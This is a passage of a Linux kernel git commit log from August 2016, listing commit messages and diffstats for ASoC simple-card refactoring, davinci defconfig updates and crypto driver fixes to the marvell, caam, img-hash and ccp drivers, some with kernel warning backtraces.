9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit c262c9ab7a956b15c4c12b81472502a587d0dfcd Author: Kuninori Morimoto Date: Tue Aug 9 05:49:41 2016 +0000 ASoC: simple-card-utils: add asoc_simple_card_canonicalize_dailink() simple-card is assuming that sometimes platform and cpu are same. This patch makes this method simple style standard. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown include/sound/simple_card_utils.h | 3 +++ sound/soc/generic/simple-card-utils.c | 13 +++++++++++++ 2 files changed, 16 insertions(+) commit d8cb9354c86dddb1fb67d3f247c9ebbacd6b4c07 Author: Kuninori Morimoto Date: Tue Aug 9 05:48:53 2016 +0000 ASoC: simple-card: use asoc_simple_card_init_dai() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 38 +++----------------------------------- 1 file changed, 3 insertions(+), 35 deletions(-) commit 21ba62f849a20accf7d41e3056ea8913bc23cfb1 Author: Kuninori Morimoto Date: Tue Aug 9 05:48:30 2016 +0000 ASoC: simple-card-utils: add asoc_simple_card_init_dai() simple-card is supporting clock/tdm slot initialization. This patch makes this method simple style standard. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown include/sound/simple_card_utils.h | 2 ++ sound/soc/generic/simple-card-utils.c | 29 +++++++++++++++++++++++++++++ 2 files changed, 31 insertions(+) commit 78d3534c755768e46f80bed21520e72a4f910787 Author: Karl Beldan Date: Fri Aug 5 20:29:51 2016 +0000 ARM: davinci_all_defconfig: enable SMSC ethernet PHY The LCDK embeds a LAN8710. Cc: Sekhar Nori Cc: Kevin Hilman Acked-by: Kevin Hilman Tested-by: Kevin Hilman Signed-off-by: Karl Beldan Signed-off-by: Sekhar Nori arch/arm/configs/davinci_all_defconfig | 1 + 1 file changed, 1 insertion(+) commit 1a4938606a8799784fc216053dd58e7898948e0d Author: Karl Beldan Date: Fri Aug 5 20:29:50 2016 +0000 ARM: davinci_all_defconfig: enable RTC driver as module This driver handles the RTC of most davinci SoCs. Cc: Sekhar Nori Cc: Kevin Hilman Acked-by: Kevin Hilman Tested-by: Kevin Hilman Signed-off-by: Karl Beldan Signed-off-by: Sekhar Nori arch/arm/configs/davinci_all_defconfig | 1 + 1 file changed, 1 insertion(+) commit da74273c49ebd7049fddc4af3845881c74e00f38 Merge: 3d4006c bfcba28 Author: Mark Brown Date: Tue Aug 9 12:34:51 2016 +0100 Merge branch 'topic/hda-link-time' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound into asoc-intel commit 47856204146ba6fd0f198dbb23c4ed7ad1c3fd99 Author: Romain Perier Date: Tue Aug 9 11:03:20 2016 +0200 crypto: marvell - Don't hardcode block size in mv_cesa_ahash_cache_req Don't use 64 'as is', as max block size in mv_cesa_ahash_cache_req. Use CESA_MAX_HASH_BLOCK_SIZE instead, this is better for readability. Signed-off-by: Romain Perier Signed-off-by: Herbert Xu drivers/crypto/marvell/hash.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 57cfda1ac74e58767f6305bd1ea3449177425460 Author: Romain Perier Date: Tue Aug 9 11:03:19 2016 +0200 crypto: marvell - Don't overwrite default creq->state during initialization Currently, in mv_cesa_{md5,sha1,sha256}_init creq->state is initialized before the call to mv_cesa_ahash_init. This is wrong because this function fills creq with zero by using memset, so its 'state' that contains the default DIGEST is overwritten. This commit fixes the issue by initializing creq->state just after the call to mv_cesa_ahash_init. Fixes: commit b0ef51067cb4 ("crypto: marvell/cesa - initialize hash...") Signed-off-by: Romain Perier Signed-off-by: Herbert Xu drivers/crypto/marvell/hash.c | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) commit 09951d83fc58a6f772de09c08e370f6d9970dbb6 Author: Romain Perier Date: Tue Aug 9 11:03:18 2016 +0200 crypto: marvell - Update transformation context for each dequeued req So far, sub part of mv_cesa_int was responsible of dequeuing complete requests, then call the 'cleanup' operation on these reqs and call the crypto api callback 'complete'. The problem is that the transformation context 'ctx' is retrieved only once before the while loop. Which means that the wrong 'cleanup' operation might be called on the wrong type of cesa requests, it can lead to memory corruptions with this message: marvell-cesa f1090000.crypto: dma_pool_free cesa_padding, 5a5a5a5a/5a5a5a5a (bad dma) This commit fixes the issue, by updating the transformation context for each dequeued cesa request. Fixes: commit 85030c5168f1 ("crypto: marvell - Add support for chai...") Signed-off-by: Romain Perier Signed-off-by: Herbert Xu drivers/crypto/marvell/cesa.c | 1 + 1 file changed, 1 insertion(+) commit 6dc156f4536b9f0abb764cb34e652730dcc4883b Author: Thomas Petazzoni Date: Tue Aug 9 11:03:17 2016 +0200 crypto: marvell - make mv_cesa_ahash_cache_req() return bool The mv_cesa_ahash_cache_req() function always returns 0, which makes its return value pretty much useless. However, in addition to returning a useless value, it also returns a boolean in a variable passed by reference to indicate if the request was already cached. So, this commit changes mv_cesa_ahash_cache_req() to return this boolean. It consequently simplifies the only call site of mv_cesa_ahash_cache_req(), where the "ret" variable is no longer needed. Signed-off-by: Thomas Petazzoni Signed-off-by: Herbert Xu drivers/crypto/marvell/hash.c | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) commit 3e5c66c9c31afecf1d6f7ef4ffc50ac3c1ff3c7c Author: Thomas Petazzoni Date: Tue Aug 9 11:03:16 2016 +0200 crypto: marvell - turn mv_cesa_ahash_init() into a function returning void The mv_cesa_ahash_init() function always returns 0, and the return value is anyway never checked. Turn it into a function returning void. Signed-off-by: Thomas Petazzoni Signed-off-by: Herbert Xu drivers/crypto/marvell/hash.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 2a8a78573b346b1da5f1b544985d65d1e08a6148 Author: Thomas Petazzoni Date: Tue Aug 9 11:03:15 2016 +0200 crypto: marvell - remove unused parameter in mv_cesa_ahash_dma_add_cache() The dma_iter parameter of mv_cesa_ahash_dma_add_cache() is never used, so get rid of it. Signed-off-by: Thomas Petazzoni Signed-off-by: Herbert Xu drivers/crypto/marvell/hash.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 36225b9170ea7b25371063364721ed96b2a58f97 Author: Thomas Petazzoni Date: Tue Aug 9 11:03:14 2016 +0200 crypto: marvell - be explicit about destination in mv_cesa_dma_add_op() The mv_cesa_dma_add_op() function builds a mv_cesa_tdma_desc structure to copy the operation description to the SRAM, but doesn't explicitly initialize the destination of the copy. It works fine because the operatin description must be copied at the beginning of the SRAM, and the mv_cesa_tdma_desc structure is initialized to zero when allocated. However, it is somewhat confusing to not have a destination defined. Signed-off-by: Thomas Petazzoni Signed-off-by: Herbert Xu drivers/crypto/marvell/tdma.c | 1 + 1 file changed, 1 insertion(+) commit bdc67da7947d4a8d8cb38939d88d315536bb4dfd Author: Russell King Date: Tue Aug 9 08:30:10 2016 +0100 crypto: caam - avoid kernel warnings on probe failure While debugging setkey issues, the following warnings were found while trying to reinsert the caam module. Fix this by avoiding the duplicated cleanup in the probe path after caam_remove(), which has already cleaned up the resources. ------------[ cut here ]------------ WARNING: CPU: 0 PID: 2346 at /home/rmk/git/linux-rmk/mm/vmalloc.c:1490 __vunmap+0xcc/0xf4 Trying to vfree() nonexistent vm area (f2400000) Modules linked in: caam(+) cbc rfcomm bnep bluetooth nfsd em28xx_rc si2157 si2168 em28xx_dvb uvcvideo snd_soc_imx_sgtl5000 em28xx snd_soc_imx_spdif tveeprom snd_soc_fsl_asoc_card snd_soc_imx_audmux snd_soc_sgtl5000 imx_sdma imx2_wdt coda v4l2_mem2mem videobuf2_dma_contig snd_soc_fsl_ssi rc_cec snd_soc_fsl_spdif imx_pcm_dma videobuf2_vmalloc videobuf2_memops imx_thermal dw_hdmi_ahb_audio dw_hdmi_cec etnaviv fuse rc_pinnacle_pctv_hd [last unloaded: caam] CPU: 0 PID: 2346 Comm: modprobe Tainted: G W 4.8.0-rc1+ #2014 Hardware name: Freescale i.MX6 Quad/DualLite (Device Tree) Backtrace: [] (dump_backtrace) from [] (show_stack+0x18/0x1c) [] (show_stack) from [] (dump_stack+0xa4/0xdc) [] (dump_stack) from [] (__warn+0xdc/0x108) [] (__warn) from [] (warn_slowpath_fmt+0x40/0x48) [] (warn_slowpath_fmt) from [] (__vunmap+0xcc/0xf4) [] (__vunmap) from [] (vunmap+0x4c/0x54) [] (vunmap) from [] (__iounmap+0x2c/0x30) [] (__iounmap) from [] (iounmap+0x1c/0x20) [] (iounmap) from [] (caam_probe+0x3dc/0x1498 [caam]) [] (caam_probe [caam]) from [] (platform_drv_probe+0x58/0xb8) [] (platform_drv_probe) from [] (driver_probe_device+0x1fc/0x2b8) [] (driver_probe_device) from [] (__driver_attach+0xbc/0xc0) r10:00000000 r8:bf24b000 r7:00000000 r6:ef215844 r5:bf2490c4 r4:ef215810 [] (__driver_attach) from [] (bus_for_each_dev+0x5c/0x90) [] (bus_for_each_dev) from [] (driver_attach+0x24/0x28) [] (driver_attach) from [] (bus_add_driver+0xf4/0x200) [] (bus_add_driver) from [] (driver_register+0x80/0xfc) [] (driver_register) from [] (__platform_driver_register+0x48/0x4c) [] (__platform_driver_register) from [] (caam_driver_init+0x18/0x24 [caam]) [] (caam_driver_init [caam]) from [] (do_one_initcall+0x44/0x178) [] (do_one_initcall) from [] (do_init_module+0x68/0x1d8) [] (do_init_module) from [] (load_module+0x1974/0x20b0) [] (load_module) from [] (SyS_finit_module+0x94/0xa0) [] (SyS_finit_module) from [] (ret_fast_syscall+0x0/0x1c) ---[ end trace 34e3370d88bb1786 ]--- ------------[ cut here ]------------ WARNING: CPU: 0 PID: 2346 at /home/rmk/git/linux-rmk/drivers/clk/clk.c:594 clk_core_disable+0xe4/0x26c Modules linked in: caam(+) cbc rfcomm bnep bluetooth nfsd em28xx_rc si2157 si2168 em28xx_dvb uvcvideo snd_soc_imx_sgtl5000 em28xx snd_soc_imx_spdif tveeprom snd_soc_fsl_asoc_card snd_soc_imx_audmux snd_soc_sgtl5000 imx_sdma imx2_wdt coda v4l2_mem2mem videobuf2_dma_contig snd_soc_fsl_ssi rc_cec snd_soc_fsl_spdif imx_pcm_dma videobuf2_vmalloc videobuf2_memops imx_thermal dw_hdmi_ahb_audio dw_hdmi_cec etnaviv fuse rc_pinnacle_pctv_hd [last unloaded: caam] CPU: 0 PID: 2346 Comm: modprobe Tainted: G W 4.8.0-rc1+ #2014 Hardware name: Freescale i.MX6 Quad/DualLite (Device Tree) Backtrace: [] (dump_backtrace) from [] (show_stack+0x18/0x1c) [] (show_stack) from [] (dump_stack+0xa4/0xdc) [] (dump_stack) from [] (__warn+0xdc/0x108) [] (__warn) from [] (warn_slowpath_null+0x28/0x30) [] (warn_slowpath_null) from [] (clk_core_disable+0xe4/0x26c) [] (clk_core_disable) from [] (clk_core_disable_lock+0x20/0x2c) [] (clk_core_disable_lock) from [] (clk_disable+0x24/0x28) [] (clk_disable) from [] (caam_probe+0x3fc/0x1498 [caam]) [] (caam_probe [caam]) from [] (platform_drv_probe+0x58/0xb8) [] (platform_drv_probe) from [] (driver_probe_device+0x1fc/0x2b8) [] (driver_probe_device) from [] (__driver_attach+0xbc/0xc0) r10:00000000 r8:bf24b000 r7:00000000 r6:ef215844 r5:bf2490c4 r4:ef215810 [] (__driver_attach) from [] (bus_for_each_dev+0x5c/0x90) [] (bus_for_each_dev) from [] (driver_attach+0x24/0x28) [] (driver_attach) from [] (bus_add_driver+0xf4/0x200) [] (bus_add_driver) from [] (driver_register+0x80/0xfc) [] (driver_register) from [] (__platform_driver_register+0x48/0x4c) [] (__platform_driver_register) from [] (caam_driver_init+0x18/0x24 [caam]) [] (caam_driver_init [caam]) from [] (do_one_initcall+0x44/0x178) [] (do_one_initcall) from [] (do_init_module+0x68/0x1d8) [] (do_init_module) from [] (load_module+0x1974/0x20b0) [] (load_module) from [] (SyS_finit_module+0x94/0xa0) [] (SyS_finit_module) from [] (ret_fast_syscall+0x0/0x1c) ---[ end trace 34e3370d88bb1787 ]--- ------------[ cut here ]------------ WARNING: CPU: 0 PID: 2346 at /home/rmk/git/linux-rmk/drivers/clk/clk.c:476 clk_core_unprepare+0x204/0x388 Modules linked in: caam(+) cbc rfcomm bnep bluetooth nfsd em28xx_rc si2157 si2168 em28xx_dvb uvcvideo snd_soc_imx_sgtl5000 em28xx snd_soc_imx_spdif tveeprom snd_soc_fsl_asoc_card snd_soc_imx_audmux snd_soc_sgtl5000 imx_sdma imx2_wdt coda v4l2_mem2mem videobuf2_dma_contig snd_soc_fsl_ssi rc_cec snd_soc_fsl_spdif imx_pcm_dma videobuf2_vmalloc videobuf2_memops imx_thermal dw_hdmi_ahb_audio dw_hdmi_cec etnaviv fuse rc_pinnacle_pctv_hd [last unloaded: caam] CPU: 0 PID: 2346 Comm: modprobe Tainted: G W 4.8.0-rc1+ #2014 Hardware name: Freescale i.MX6 Quad/DualLite (Device Tree) Backtrace: [] (dump_backtrace) from [] (show_stack+0x18/0x1c) [] (show_stack) from [] (dump_stack+0xa4/0xdc) [] (dump_stack) from [] (__warn+0xdc/0x108) [] (__warn) from [] (warn_slowpath_null+0x28/0x30) [] (warn_slowpath_null) from [] (clk_core_unprepare+0x204/0x388) [] (clk_core_unprepare) from [] (clk_unprepare+0x2c/0x34) [] (clk_unprepare) from [] (caam_probe+0x404/0x1498 [caam]) [] (caam_probe [caam]) from [] (platform_drv_probe+0x58/0xb8) [] (platform_drv_probe) from [] (driver_probe_device+0x1fc/0x2b8) [] (driver_probe_device) from [] (__driver_attach+0xbc/0xc0) r10:00000000 r8:bf24b000 r7:00000000 r6:ef215844 r5:bf2490c4 r4:ef215810 [] (__driver_attach) from [] (bus_for_each_dev+0x5c/0x90) [] (bus_for_each_dev) from [] (driver_attach+0x24/0x28) [] (driver_attach) from [] (bus_add_driver+0xf4/0x200) [] (bus_add_driver) from [] (driver_register+0x80/0xfc) [] (driver_register) from [] (__platform_driver_register+0x48/0x4c) [] (__platform_driver_register) from [] (caam_driver_init+0x18/0x24 [caam]) [] (caam_driver_init [caam]) from [] (do_one_initcall+0x44/0x178) [] (do_one_initcall) from [] (do_init_module+0x68/0x1d8) [] (do_init_module) from [] (load_module+0x1974/0x20b0) [] (load_module) from [] (SyS_finit_module+0x94/0xa0) [] (SyS_finit_module) from [] (ret_fast_syscall+0x0/0x1c) ---[ end trace 34e3370d88bb1788 ]--- Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/ctrl.c | 2 ++ 1 file changed, 2 insertions(+) commit 66d2e2028091a074aa1290d2eeda5ddb1a6c329c Author: Russell King Date: Mon Aug 8 18:05:24 2016 +0100 crypto: caam - get rid of tasklet Threaded interrupts can perform the function of the tasklet, and much more safely too - without races when trying to take the tasklet and interrupt down on device removal. With the old code, there is a window where we call tasklet_kill(). If the interrupt handler happens to be running on a different CPU, and subsequently calls tasklet_schedule(), the tasklet will be re-scheduled for execution. Switching to a hardirq/threadirq combination implementation avoids this, and it also means generic code deals with the teardown sequencing of the threaded and non-threaded parts. Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/intern.h | 1 - drivers/crypto/caam/jr.c | 25 +++++++++---------------- 2 files changed, 9 insertions(+), 17 deletions(-) commit 65cf164a4afab86b9d26c063bc4cef5432b52021 Author: Russell King Date: Mon Aug 8 18:05:19 2016 +0100 crypto: caam - add ahash_edesc_add_src() Add a helper to map the source scatterlist into the descriptor. Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 137 +++++++++++++++++------------------------ 1 file changed, 57 insertions(+), 80 deletions(-) commit 30a43b4498be67f89d81e3eded307bffe554952d Author: Russell King Date: Mon Aug 8 18:05:13 2016 +0100 crypto: caam - move job descriptor initialisation to ahash_edesc_alloc() Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 84 +++++++++++++++++------------------------- 1 file changed, 34 insertions(+), 50 deletions(-) commit 5588d039b5ea35760ffc94a50ed3aa2027aec11d Author: Russell King Date: Mon Aug 8 18:05:08 2016 +0100 crypto: caam - add ahash_edesc_alloc() for descriptor allocation Add a helper function to perform the descriptor allocation. Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 60 +++++++++++++++++++++++------------------- 1 file changed, 33 insertions(+), 27 deletions(-) commit bc13c69e29697f90200cf77d133a39ca1e525590 Author: Russell King Date: Mon Aug 8 18:05:03 2016 +0100 crypto: caam - check and use dma_map_sg() return code Strictly, dma_map_sg() may coalesce SG entries, but in practise on iMX hardware, this will never happen. However, dma_map_sg() can fail, and we completely fail to check its return value. So, fix this properly. Arrange the code to map the scatterlist early, so we know how many scatter table entries to allocate, and then fill them in. This allows us to keep relatively simple error cleanup paths. Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 138 ++++++++++++++++++++++++++++++----------- 1 file changed, 103 insertions(+), 35 deletions(-) commit 32686d34f8fb6919df491ddb7ad8a0d6a9164624 Author: Russell King Date: Mon Aug 8 18:04:58 2016 +0100 crypto: caam - ensure that we clean up after an error Ensure that we clean up allocations and DMA mappings after encountering an error rather than just giving up and leaking memory and resources. Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 132 ++++++++++++++++++++++++----------------- 1 file changed, 79 insertions(+), 53 deletions(-) commit 343e44b15ecce6bca4b2caeae613a559e5be2720 Author: Russell King Date: Mon Aug 8 18:04:52 2016 +0100 crypto: caam - replace sec4_sg pointer with array Since the extended descriptor includes the hardware descriptor, and the sec4 scatterlist immediately follows this, we can declare it as a array at the very end of the extended descriptor. This allows us to get rid of an initialiser for every site where we allocate an extended descriptor. Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit d7b24ed4a9a4250f483f4c2fea3588828ab43af2 Author: Russell King Date: Mon Aug 8 18:04:47 2016 +0100 crypto: caam - mark the hardware descriptor as cache line aligned Mark the hardware descriptor as being cache line aligned; on DMA incoherent architectures, the hardware descriptor should sit in a separate cache line from the CPU accessed data to avoid polluting the caches. Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 64ce56cb44f8b13df4d8f47b8ea527591a68a03b Author: Russell King Date: Mon Aug 8 18:04:42 2016 +0100 crypto: caam - incorporate job descriptor into struct ahash_edesc Rather than giving the descriptor as hw_desc[0], give it's real size. All places where we allocate an ahash_edesc incorporate DESC_JOB_IO_LEN bytes of job descriptor. Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 49 ++++++++++++++++-------------------------- 1 file changed, 19 insertions(+), 30 deletions(-) commit e11793f5dad8225023d8b46ac93a98ec14cebcde Author: Russell King Date: Mon Aug 8 18:04:36 2016 +0100 crypto: caam - ensure descriptor buffers are cacheline aligned Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 3d5a2db695574a3780d15e42f771f35344258d8b Author: Russell King Date: Mon Aug 8 18:04:31 2016 +0100 crypto: caam - fix DMA API mapping leak caamhash contains this weird code: src_nents = sg_count(req->src, req->nbytes); dma_map_sg(jrdev, req->src, src_nents ? : 1, DMA_TO_DEVICE); ... edesc->src_nents = src_nents; sg_count() returns zero when sg_nents_for_len() returns zero or one. This means we don't need to use a hardware scatterlist. However, setting src_nents to zero causes problems when we unmap: if (edesc->src_nents) dma_unmap_sg_chained(dev, req->src, edesc->src_nents, DMA_TO_DEVICE, edesc->chained); as zero here means that we have no entries to unmap. This causes us to leak DMA mappings, where we map one scatterlist entry and then fail to unmap it. This can be fixed in two ways: either by writing the number of entries that were requested of dma_map_sg(), or by reworking the "no SG required" case. We adopt the re-work solution here - we replace sg_count() with sg_nents_for_len(), so src_nents now contains the real number of scatterlist entries, and we then change the test for using the hardware scatterlist to src_nents > 1 rather than just non-zero. This change passes my sshd, openssl tests hashing /bin and tcrypt tests. Signed-off-by: Russell King Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 26 +++++++++++++++++--------- 1 file changed, 17 insertions(+), 9 deletions(-) commit 5e38d20088d48b60775bdbdfdf47f8a2c4f6288f Author: Will Thomas Date: Fri Aug 5 14:00:20 2016 +0100 crypto: img-hash - Fix set_reqsize call Properly allocate enough memory to respect the fallback. Signed-off-by: Will Thomas Signed-off-by: Herbert Xu drivers/crypto/img-hash.c | 1 + 1 file changed, 1 insertion(+) commit fb67740e2fb82c97cca6df24882df4e7c898aae4 Author: James Hartley Date: Fri Aug 5 14:00:19 2016 +0100 crypto: img-hash - log a successful probe Currently the probe function only emits an output on success when debug is specifically enabled. It would be more useful if this happens by default. Signed-off-by: James Hartley Reviewed-by: Will Thomas Signed-off-by: Herbert Xu drivers/crypto/img-hash.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 436e3bb52b5b8f0823746cb06e6385d0db7f0811 Author: James Hartley Date: Fri Aug 5 14:00:18 2016 +0100 crypto: img-hash - Add support for export and import Currently the img-hash accelerator does not probe successfully due to a change in the checks made during registration with the crypto framework. This is due to import and export functions not being defined. Correct this. Signed-off-by: James Hartley Signed-off-by: Will Thomas Signed-off-by: Herbert Xu drivers/crypto/img-hash.c | 69 ++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 63 insertions(+), 6 deletions(-) commit d084e13a1395cf65d105fb79911329750500f8c5 Author: Govindraj Raja Date: Fri Aug 5 14:00:17 2016 +0100 crypto: img-hash - Add suspend resume hooks for img hash Current img hash claims sys and periph gate clocks and this can be gated in system suspend scenarios. Add support for Device pm ops for img hash to gate the clocks claimed by img hash. Signed-off-by: Govindraj Raja Reviewed-by: Will Thomas Signed-off-by: Herbert Xu drivers/crypto/img-hash.c | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit 302a1bee8fd71b01bcf4ca8395c115a60cef52bf Author: Will Thomas Date: Fri Aug 5 14:00:16 2016 +0100 crypto: img-hash - Reconfigure DMA Burst length Burst length of 16 drives the hash accelerator out of spec and causes stability issues in some cases. Reduce this to stop data being lost. Signed-off-by: Will Thomas Reviewed-by: James Hartley Signed-off-by: Herbert Xu drivers/crypto/img-hash.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit dd4f677b0c89280e66ab9bebf97c8c90fbc1c330 Author: Will Thomas Date: Fri Aug 5 14:00:15 2016 +0100 crypto: img-hash - Fix hash request context Move 0 length buffer to end of structure to stop overwriting fallback request data. This doesn't cause a bug itself as the buffer is never used alongside the fallback but should be changed. Signed-off-by: Will Thomas Reviewed-by: James Hartley Signed-off-by: Herbert Xu drivers/crypto/img-hash.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 10badea259fab2ec91a5e6bf1e568a01e4cb5263 Author: Will Thomas Date: Fri Aug 5 14:00:14 2016 +0100 crypto: img-hash - Fix null pointer exception Sporadic null pointer exceptions came from here. Fix them. Signed-off-by: Will Thomas Reviewed-by: James Hartley Signed-off-by: Herbert Xu drivers/crypto/img-hash.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0fae0c1e1d7991ce0dbefdd1c35c14e9d0025cc2 Author: Yanjiang Jin Date: Fri Jul 29 16:32:09 2016 +0800 crypto: testmgr - fix !x==y confusion "if (!ret == template[i].fail)" is confusing to compilers (gcc5): crypto/testmgr.c: In function '__test_aead': crypto/testmgr.c:531:12: warning: logical not is only applied to the left hand side of comparison [-Wlogical-not-parentheses] if (!ret == template[i].fail) { ^ Let there be 'if (template[i].fail == !ret) '. Signed-off-by: Yanjiang Jin Signed-off-by: Herbert Xu crypto/testmgr.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit e14e7d126765ce0156ab5e3b250b1270998c207d Author: Gary R Hook Date: Tue Jul 26 19:10:49 2016 -0500 crypto: ccp - Enable use of the additional CCP A second CCP is available, identical to the first, with its ownn PCI ID. Make it available for use by the crypto subsystem, as well as for DMA activity and random number generation. This device is not pre-configured at at boot time. The driver must configure it (during the probe) for use. Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev-v5.c | 37 ++++++++++++++++++++++++++++++++++++- drivers/crypto/ccp/ccp-dev.h | 8 ++++++++ drivers/crypto/ccp/ccp-pci.c | 2 ++ 3 files changed, 46 insertions(+), 1 deletion(-) commit 99d90b2ebd8b327c0c496798db99009b30c70945 Author: Gary R Hook Date: Tue Jul 26 19:10:40 2016 -0500 crypto: ccp - Enable DMA service on a v5 CCP Every CCP is capable of providing general DMA services. Register the device as a provider. Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev-v5.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 084935b208f6507ef5214fd67052a67a700bc6cf Author: Gary R Hook Date: Tue Jul 26 19:10:31 2016 -0500 crypto: ccp - Add support for the RNG in a version 5 CCP Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev-v3.c | 13 ++++--------- drivers/crypto/ccp/ccp-dev-v5.c | 7 +++++++ drivers/crypto/ccp/ccp-dev.c | 23 +++++++++++++++++++++++ drivers/crypto/ccp/ccp-dev.h | 2 ++ 4 files changed, 36 insertions(+), 9 deletions(-) commit 4b394a232df78414442778b02ca4a388d947d059 Author: Gary R Hook Date: Tue Jul 26 19:10:21 2016 -0500 crypto: ccp - Let a v5 CCP provide the same function as v3 Enable equivalent function on a v5 CCP. Add support for a version 5 CCP which enables AES/XTS/SHA services. Also, more work on the data structures to virtualize functionality. Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/Makefile | 1 + drivers/crypto/ccp/ccp-crypto-sha.c | 18 +- drivers/crypto/ccp/ccp-dev-v3.c | 28 +- drivers/crypto/ccp/ccp-dev-v5.c | 961 ++++++++++++++++++++++++++++++++++++ drivers/crypto/ccp/ccp-dev.h | 164 +++++- drivers/crypto/ccp/ccp-ops.c | 279 +++++++---- drivers/crypto/ccp/ccp-pci.c | 6 +- include/linux/ccp.h | 3 - 8 files changed, 1340 insertions(+), 120 deletions(-) commit bb4e89b34d1bf46156b7e880a0f34205fb7ce2a5 Author: Gary R Hook Date: Tue Jul 26 19:10:13 2016 -0500 crypto: ccp - Refactor code to enable checks for queue space. Available queue space is used to decide (by counting free slots) if we have to put a command on hold or if it can be sent to the engine immediately. Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev-v3.c | 8 +++++++- drivers/crypto/ccp/ccp-dev.h | 1 + drivers/crypto/ccp/ccp-ops.c | 2 +- 3 files changed, 9 insertions(+), 2 deletions(-) commit 8256e683113e659d9bf6bffdd227eeb1881ae9a7 Author: Gary R Hook Date: Tue Jul 26 19:10:02 2016 -0500 crypto: ccp - Refactor code supporting the CCP's RNG Make the RNG support code common (where possible) in preparation for adding a v5 device. Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev-v3.c | 51 +++++++++-------------------------------- drivers/crypto/ccp/ccp-dev.c | 28 ++++++++++++++++++++++ drivers/crypto/ccp/ccp-dev.h | 1 + 3 files changed, 40 insertions(+), 40 deletions(-) commit 58a690b701efc32ffd49722dd7b887154eb5a205 Author: Gary R Hook Date: Tue Jul 26 19:09:50 2016 -0500 crypto: ccp - Refactor the storage block allocation code Move the KSB access/management functions to the v3 device file, and add function pointers to the actions structure. At the operations layer all of the references to the storage block will be generic (virtual). This is in preparation for a version 5 device, in which the private storage block is managed differently. Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev-v3.c | 52 +++++++++++++++++++++++++++++ drivers/crypto/ccp/ccp-dev.h | 74 ++++++++++++++++++++++++----------------- drivers/crypto/ccp/ccp-ops.c | 52 ++--------------------------- 3 files changed, 98 insertions(+), 80 deletions(-) commit 956ee21a6df08afd9c1c64e0f394a9a1b65e897d Author: Gary R Hook Date: Tue Jul 26 19:09:40 2016 -0500 crypto: ccp - Refactoring: symbol cleanup Form and use of the local storage block in the CCP is particular to the device version. Much of the code that accesses the storage block can treat it as a virtual resource, and will under go some renaming. Device-specific access to the memory will be moved into device file. Service functions will be added to the actions structure. Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev-v3.c | 32 ++--- drivers/crypto/ccp/ccp-dev.c | 7 +- drivers/crypto/ccp/ccp-dev.h | 43 +++---- drivers/crypto/ccp/ccp-ops.c | 266 ++++++++++++++++++++-------------------- 4 files changed, 175 insertions(+), 173 deletions(-) commit a43eb98507574acfc435c38a6b7fb1fab6605519 Author: Gary R Hook Date: Tue Jul 26 19:09:31 2016 -0500 crypto: ccp - Shorten the fields of the action structure Use more concise field names; "perform_" is too verbose. Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev-v3.c | 12 ++++++------ drivers/crypto/ccp/ccp-dev.h | 12 ++++++------ drivers/crypto/ccp/ccp-ops.c | 21 +++++++++++---------- 3 files changed, 23 insertions(+), 22 deletions(-) commit fba8855cb2403707b0639bdff0d34149699f14a2 Author: Gary R Hook Date: Tue Jul 26 19:09:20 2016 -0500 crypto: ccp - Abstract PCI info for the CCP Device-specific values for the BAR and offset should be found in the version data structure. Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev-v3.c | 3 +++ drivers/crypto/ccp/ccp-dev.h | 3 +++ drivers/crypto/ccp/ccp-pci.c | 15 +++++++-------- 3 files changed, 13 insertions(+), 8 deletions(-) commit fa242e80c7fb581eddbe636186020786f2e117da Author: Gary R Hook Date: Tue Jul 